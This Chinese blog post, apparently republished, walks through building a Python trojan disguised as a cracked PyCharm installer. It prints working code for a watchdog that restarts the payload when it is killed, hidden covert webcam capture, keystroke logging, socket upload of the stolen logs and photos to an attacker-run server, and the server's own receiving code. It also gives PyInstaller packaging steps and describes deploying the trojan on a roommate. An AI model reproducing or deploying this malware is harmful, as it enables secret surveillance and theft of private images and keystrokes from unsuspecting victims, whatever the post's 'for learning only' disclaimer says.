用Python寫一個病毒


🈲WARNING🈲
本文僅供學習和測試,請勿用於非法用途。

前言

花了挺長時間去開發的,中間有很多包是抄的,比如DDL注入、關於opencv等等,主要其實做了一些拼接、打包、部署。
寫這篇博客並不真的想去寫病毒攻擊別人,而是想告訴大家簡單的病毒的原理以及其實我們py學好了,也有能力做出來,並不算難。
寫這個東西的人挺少的。那么,我們開始吧。

注:本文源碼並不會直接公布於博客,希望對其有興趣的朋友添加我的QQ:1625098483獲取,以防不法用途,我可不想吃國家飯(牢飯)。

病毒原理

這里感謝b站up主提供的思路@路飛學城

三個.exe:Pycharm破解版.exeWinCoreManagement.exeSystem.exe

首先我們有個偽裝的程序,比如相信有很多程序猿都去下載過XXX軟件破解版,我們這里以"Pycharm破解版"為例。
我們會給用戶下載一個壓縮包【Pycharm破解版】,里面一定會有很多奇奇怪怪的東西,然后我們把三個.exe也放在里面。
當用戶打開Pycharm.exe時,會去調用WinCoreManagement.exeSystem.exe,以及正常的Pycharm程序,這樣用戶就難以發現。
其中調用的WinCoreManagement.exe就是我們核心的病毒程序了,我給它加了三個功能:不定時拍照、記錄用戶的輸入、偶爾鎖下用戶鍵盤。
剛才還啟用了一個System.exe,當用戶發現了我們的主病毒程序,去任務管理器殺掉了主病毒進程,此時這個System.exe進程就會不斷去重啟病毒程序。
而且一般人其實是不敢去殺一個叫System的進程的,對吧。這樣,就算是有點經驗的程序員,也難不中招。

源碼解析

frozen.py

用於處理多線程錯亂的問題

Pycharm破解版.py


import os
import subprocess
import time
import frozen  # Pyinstaller多進程代碼打包exe出現多個進程解決方案
import multiprocessing


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多進程代碼打包exe出現多個進程解決方案
    os.chdir(r'.')
    #subprocess.Popen(r'pycharm.exe') # 真正的pychamr程序
    subprocess.Popen(r'System.exe') # System.exe負責無限重啟病毒程序WinCoreManagerment.exe

    time.sleep(20)

這一塊兒主要是去調用一個病毒程序和進行對用戶的欺騙程序,應該不難理解。

System.py


import frozen  # Pyinstaller多進程代碼打包exe出現多個進程解決方案
import multiprocessing
import subprocess, time, sys, os
import win32con
import win32api

CMD = r"WinCoreManagement.exe"  # 需要執行程序的絕對路徑


def run(cmd):
    # print('start OK!')
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    p = subprocess.Popen(cmd, shell=False)
    p.wait() # 類似於p.join()
    try:
        subprocess.call('start /b taskkill /F /IM %s' % CMD) # 清理殘余
    except Exception as e:
        # print(e)
        pass

    # print('子進程關閉,重啟')
    run(cmd)


if __name__ == '__main__':
    multiprocessing.freeze_support()  # Pyinstaller多進程代碼打包exe出現多個進程解決方案

    run(CMD)

若用戶殺掉病毒主程序,這個程序可以用來不斷使病毒程序重啟

WinCoreManagement.py

分為三塊

多線程


from threading import Timer
from threading import Thread
from threading import Lock

# Lock() 線程鎖,防止線程全部錯亂
self.mutex_log = Lock()  # 日志鎖
self.mutex_photo = Lock()  # 照片鎖
self.mutex_sock = Lock()  # 套接字上傳鎖

# .release() 釋放鎖
self.mutex_log.release()
self.mutex_photo.release()
self.mutex_sock.release()

日志文件的讀寫


    # 用戶家目錄,替換用戶
    # 記住這個 self.base_dir : 路徑
    # Expand the user's home directory,比如我的電腦就是 C:\\Users\\Daniel
    self.base_dir = os.path.expanduser('~') # 權限問題

    # 初始化生成日志文件
    self.log_path = r'%s/adhsvc.dll.system32' % self.base_dir
    open(self.log_path, 'a', encoding='utf-8').close()
    win32api.SetFileAttributes(self.log_path, win32con.FILE_ATTRIBUTE_HIDDEN)
            
    def log_debug(self, res):
        if not self.debug: return
        self.mutex_debug.acquire()
        with open(self.debug_log_path, mode='a', encoding='utf-8') as f:
            # 寫進去
            f.write('\n%s\n' % res)
            # 刷新緩沖區
            f.flush()
        # 釋放掉
        self.mutex_debug.release()
    # 和上面那個同理
    def log(self, res):
        self.mutex_log.acquire()
        with open(self.log_path, mode='a', encoding='utf-8') as f:
            f.write(res)
            f.flush()
        self.mutex_log.release()

照相功能,opencv會用就行


    def take_photoes(self):
        while True:
            time.sleep(10)
            # 圖片路徑,同時帶上路徑+時間
            photo_path = r'%s/%s.jpeg' % (self.base_dir, time.strftime('%Y-%m-%d_%H_%M_%S'))
            cap = None

            try:
                # VideoCapture()中第一個參數是攝像頭標號,默認情況電腦自帶攝像頭索引為0,外置為1.2.3…,
                # 參數是視頻文件路徑則打開視頻,如cap = cv2.VideoCapture(“../test.avi”)
                # CAP_DSHOW是微軟特有的,cv2.release()之后攝像頭依然開啟,需要指定該參數
                cap = cv2.VideoCapture(0, cv2.CAP_DSHOW)
                ret, frame = cap.read()
                self.mutex_photo.acquire()
                cv2.imwrite(photo_path, frame)
            except Exception as e:
                self.log_debug('照相異常: %s' % e)
            finally:
                # 無論如何都要釋放鎖,關閉相機
                self.mutex_photo.release()
                if cap is not None: cap.release() #None.release()
                cv2.destroyAllWindows()

            if os.path.exists(photo_path):
                win32api.SetFileAttributes(photo_path, win32con.FILE_ATTRIBUTE_HIDDEN)

上傳功能

原理:
    套接字:
        Socket = (IP地址:端口號)
    服務端監聽:
        服務器端套接字並不定位具體的客戶端套接字,而是等待連接。即打開所有端口
    客戶端請求:
        客戶端的套接字提出連接請求,要連接的是服務端的套接字。因此要指定服務器的套接字,指出其地址+端口號,然后向服務端提出連接請求
    連接確認:
        服務端接受到了客戶端的套接字的連接請求,響應,然后建立一個新的線程,並把服務器套接字的描述發給客戶端
        一旦客戶端確認了此描述,連接就好了。然后服務器套接字繼續處於監聽,接收其他客戶端套接字的連接請求

配置


    def send_data(self, headers, data):
        try:
            self.mutex_sock.acquire() # 上傳數據的過程中不要做其他事情
            # 配置問題,ipv4+網絡流傳輸,不用管
            client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            #套接字:ip+端口
            client.connect((self.server_ip, self.server_port))

            # dumps 編碼,將一個python數據結構轉為Json編碼的字符串
            head_json = json.dumps(headers)
            # 換格式
            head_json_bytes = bytes(head_json, encoding='utf-8')
            # 發送Json包,到時候解碼
            client.send(struct.pack('i', len(head_json_bytes)))
            client.send(head_json_bytes)
            client.sendall(data)
            #關閉套接字
            client.close()
            # 成功傳輸發回命令
            res = (True, 'ok')

        except ConnectionRefusedError as e:
            msg = '套接字服務端未啟動: %s' % e
            res = (False, msg)
        except Exception as e:
            msg = '套接字其他錯誤:%s' % e
            res = (False, msg)
        finally:
            self.mutex_sock.release()
        return res

發送日志信息


    # 發送日志信息
    def upload_log(self):
        while True:
            time.sleep(1)
            # 沒東西就直接跳掉
            if not os.path.getsize(self.log_path): continue

            # 開鎖
            self.mutex_log.acquire()    
            # 打開文件,二進制讀寫手法
            with open(self.log_path, mode='rb+') as f:
                data = f.read()
                self.mutex_log.release()
                
                # 文件大小+文件名字,以路徑啥的命名
                headers = {
                    'data_size': len(data),
                    'filename': os.path.basename(self.log_path)
                }

                self.log_debug('正在往服務端發送日志......[%s]' % data)

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('日志[%s]發送成功。。。' % data)
                else:
                    self.log_debug('日志[%s]發送失敗:%s' % (data, msg))
                    continue
                
                # 指針的位置重新定回0,好習慣
                f.truncate(0)

發送圖片


    def upload_photoes(self):
        while True:
            time.sleep(3)

            # 包含文件的列表取出來
            files = os.listdir(self.base_dir)
            # jpeg結尾的文件全給我導出來
            files_jpeg = [file_name for file_name in files if file_name.endswith('jpeg')]
            for file_name in files_jpeg:
                file_path = r'%s/%s' % (self.base_dir, file_name)
                # 沒文件跳出去
                if not os.path.exists(file_path): continue

                # 日志寫進去
                self.log_debug('開始上傳圖片: %s' % file_name)
                # 文件大小+文件名字
                headers = {
                    'data_size': os.path.getsize(file_path),
                    'filename': file_name
                }

                # 開鎖
                self.mutex_photo.acquire()
                # 二進制讀寫數據及上傳
                with open(file_path, mode='rb+') as f:
                    data = f.read()
                self.mutex_photo.release()

                is_ok, msg = self.send_data(headers, data)
                if is_ok:
                    self.log_debug('圖片%s發送完畢......' % file_name)
                else:
                    self.log_debug('圖片%s發送失敗:%s' % (file_name, msg))
                    continue
                
                # 移除文件跑路,自己測試的時候可以注釋掉
                #os.remove(file_path)

DLL注入

這塊兒,我們正經pythoner就先不要了解了

准備工作

1、最新anocoda3.7
https://www.anaconda.com/distribution/#download-section

2、提速下載可以改變源
pip3 config set global.index-url https://pypi.tuna.tsinghua.edu.cn/simple

3、安裝pywin32,安裝時指定安裝目錄,默認為C:\Python37\Lib\site-packages
https://github.com/mhammond/pywin32/releases

4、安裝opencv-python
pip install opencv-python

5、安裝pyinstaller,依賴pyin32
pip install pyinstaller

6、ico文件准備好
在線制作
or
https://www.easyicon.net/500133-QQ_Penguin_tencent_icon.html


=====到這里,我們病毒程序就寫好了=====

服務端原理

源碼 Toad_server.py 解析


import socketserver
import struct
import json
import os
import time

class ToadServer(socketserver.BaseRequestHandler):
    coding='utf-8'
    max_packet_size=1024

    def handle(self):
        ip,port=self.client_address
        with open(r'access.log',mode='a',encoding='utf-8') as f:
            f.write('[%s] X用戶-> %s:%s 正在上傳數據\n' %(time.strftime('%Y-%m-%d-%H:%M:%S'),ip, port))

        try:
            head = self.request.recv(4)
            head_json_len = struct.unpack('i', head)[0]
            head_json = json.loads(self.request.recv(head_json_len).decode('utf-8'))
            data_len = head_json['data_size']
            filename = head_json['filename']

            recv_size = 0
            recv_data = b''
            with open(r'client_msg/client_%s_%s' %(ip,filename), 'ab') as f:
                while recv_size < data_len:
                    recv_data = self.request.recv(1024)
                    f.write(recv_data)
                    recv_size += len(recv_data)

        except Exception as e:
            # 客戶端斷開
            self.request.close()



myserver=socketserver.ThreadingTCPServer(('0.0.0.0', 9999),ToadServer)
myserver.serve_forever()

所有端口都開啟監聽,同時在寫病毒程序時候,記得放行9999安全組。
服務端可以直接部署到阿里雲等服務器上,然后安裝上Python 3.7左右版本,
之后用XFTP上傳Toad_server.py
python3 Toad_server.py 命令使其運行

打包病毒.exe

和在雲服務器上部署web項目一樣,總不能讓所有用戶裝上和我們一樣的環境吧。
這樣,我們用pyinstaller來打包,安裝在上文,同時可以給軟件換個更"專業"的圖標,就能確保用戶在自己的機子上也能運行了。

命令: pyinstaller -i pycharm.ico -Fw Pycharm.py
生成的.exe會在dist文件夾中。

實踐出真知

三個exe文件打包出來,發給某個倒霉蛋,做點偽裝...
自己阿里雲上的服務端打開放那跑

日志文件是access.log,記錄用戶鍵盤輸入是make.log,生成的圖片在client_msg文件夾中。

那么我們現在就去找個可愛的室友測試一下吧~

打下碼哈哈哈哈哈哈哈哈哈哈哈

不過一開始被360阻止了攝像頭權限,真是流氓軟件之首嘖嘖嘖

結尾

那么今天這個有趣的項目就到這了,源碼這里不方便公布。
如果你覺得特別有意思,想研究一下,那去文首添加本人QQ拿吧~
順便點個關注點個贊喲,hxdm!


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM